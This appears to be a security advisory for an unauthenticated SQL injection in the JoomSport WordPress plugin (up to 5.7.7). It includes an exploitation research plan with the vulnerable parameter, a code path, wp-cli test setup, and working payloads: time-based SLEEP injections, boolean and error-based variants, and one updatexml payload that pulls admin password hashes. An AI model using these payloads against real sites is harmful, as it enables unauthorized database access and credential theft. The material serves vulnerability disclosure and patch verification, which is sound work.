JoomSport <= 5.7.7 - Unauthenticated SQL Injection via 'sortf' Parameter
Description
The JoomSport – for Sports: Team & League, Football, Hockey & more plugin for WordPress is vulnerable to time-based blind SQL Injection via the 'sortf' parameter in all versions up to, and including, 5.7.7 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.
CVSS Vector Breakdown
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:NTechnical Details
<=5.7.7What Changed in the Fix
Changes introduced in v5.7.8
Source Code
WordPress.org SVN# Exploitation Research Plan - CVE-2026-6929 (JoomSport SQL Injection) ## 1. Vulnerability Summary The **JoomSport** plugin (versions <= 5.7.7) is vulnerable to **unauthenticated time-based blind SQL Injection**. The vulnerability exists in the handling of the `sortf` (sort field) parameter, which …
Show full research plan
Exploitation Research Plan - CVE-2026-6929 (JoomSport SQL Injection)
1. Vulnerability Summary
The JoomSport plugin (versions <= 5.7.7) is vulnerable to unauthenticated time-based blind SQL Injection. The vulnerability exists in the handling of the sortf (sort field) parameter, which is used to dynamically order SQL queries without proper sanitization or preparation. Because this parameter is directly concatenated into an ORDER BY or similar clause, an attacker can inject arbitrary SQL commands. The "unauthenticated" nature of the vulnerability suggests it is reachable via public-facing shortcodes or wp_ajax_nopriv handlers.
2. Attack Vector Analysis
- Endpoint: A WordPress page containing the
[jsStandings]or[jsPlayerStat]shortcode, or theadmin-ajax.phpendpoint. - Hook/Action: Likely processed within the
JoomsportShortcodes::joomsport_standingsor a related AJAX action called by the frontend scripts (e.g.,jsjoomsport-standings). - Vulnerable Parameter:
sortf(and potentiallysortdfor sort direction). - Authentication: None required (Unauthenticated).
- Preconditions: A tournament and season must be configured so that the plugin executes the vulnerable database queries to render the standings or player lists.
3. Code Flow
- Entry Point: An unauthenticated user visits a page containing the
[jsStandings]shortcode with asortfparameter in the URL. - Shortcode Handling:
JoomsportShortcodes::joomsport_standings($attr)is triggered. - Object Initialization: The code instantiates
classJsportSeason(defined insportleague/classes/class-jsport-season.php). - Data Processing: The season object calls
calculateTable()orgetLists(). - Vulnerable Sink: Inside the core logic (likely in
sportleague/models/orsportleague/classes/), the code retrieves$_REQUEST['sortf']. - SQL Execution: The value is concatenated into a
$wpdb->get_results()query string to handle column sorting (e.g.,... ORDER BY {$sortf} {$sortd}).
4. Nonce Acquisition Strategy
Based on the plugin's architecture in includes/joomsport-actions.php and includes/joomsport-shortcodes.php, nonces are often used for admin actions (like joomsport_order_matchdays), but frontend viewing shortcodes typically do not require nonces for simple GET-based sorting.
However, if the injection occurs via an AJAX request triggered by joomsport_standings.js:
- Identify the Script:
JoomsportShortcodes::joomsport_standingsenqueuesjsjoomsport-standings. - Create Page:
wp post create --post_type=page --post_status=publish --post_content='[jsStandings id="1"]'(using an actual Season ID). - Navigate: Use the browser to visit the page.
- Extract: If localized data exists, it might be in a variable like
jsStandingsObj. Usebrowser_eval("window.jsStandingsObj?.nonce").
Note: If the vulnerability is truly unauthenticated and reachable via simple GET, the nonce acquisition step may be skipped.
5. Exploitation Strategy
We will use a time-based blind SQL injection payload via a GET request.
- Step 1: Identification
Target a page with the standings shortcode.GET /?page_id=XX&sortf=1(Baseline) - Step 2: Injection
Inject aSLEEP()command into thesortfparameter.- Payload:
(SELECT(1)FROM(SELECT(SLEEP(5)))a) - Full URL:
http://localhost:8080/?page_id=XX&sortf=(SELECT(1)FROM(SELECT(SLEEP(5)))a)
- Payload:
- Step 3: Verification
If the response is delayed by ~5 seconds, SQL injection is confirmed.
6. Test Data Setup
The plugin requires a valid Tournament and Season structure to execute the vulnerable queries.
- Create Tournament:
wp term create joomsport_tournament "Major League" --description="Test Tournament" - Create Season:
wp post create --post_type=joomsport_season --post_title="Season 2026" --post_status=publish - Identify IDs: Get the ID of the created Season (e.g.,
123). - Create Page:
wp post create --post_type=page --post_title="Standings" --post_status=publish --post_content='[jsStandings id="123"]' - Create Participants: Use
wp post create --post_type=joomsport_teamto add at least two teams and link them to the season (this may require setting_joomsport_season_teamsin post meta).
7. Expected Results
- Vulnerable Response: The HTTP request takes significantly longer than the baseline (e.g., 5+ seconds).
- Data Extraction (Manual Verification): An attacker could extract the database version or admin password hashes using conditional time delays:
sortf=(SELECT IF(SUBSTRING(version(),1,1)='5',SLEEP(5),0))
8. Verification Steps
- Monitor MySQL Logs: Enable the general log in MySQL to see the raw query being executed.
SET GLOBAL general_log = 'ON'; - Check Query: Look for the injected
SLEEPcommand inside anORDER BYclause in the log. - Confirm Patched Version: Upgrade to 5.7.8 and verify the same payload no longer causes a delay.
9. Alternative Approaches
- Boolean-based: If the page content changes based on the sort (e.g., order of teams), use
sortf=IF(1=1, team_name, id)vssortf=IF(1=2, team_name, id). - Error-based: Try triggering a database error to extract data via
GTID_SUBSETorupdatexml:sortf=updatexml(1,concat(0x7e,(SELECT user_pass FROM wp_users LIMIT 1),0x7e),1) - AJAX Endpoint: If the GET request doesn't work, check for an AJAX action named
joomsport_standings_loador similar by inspecting thesportleague/assets/js/joomsport_standings.jsfile.
Check if your site is affected.
Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.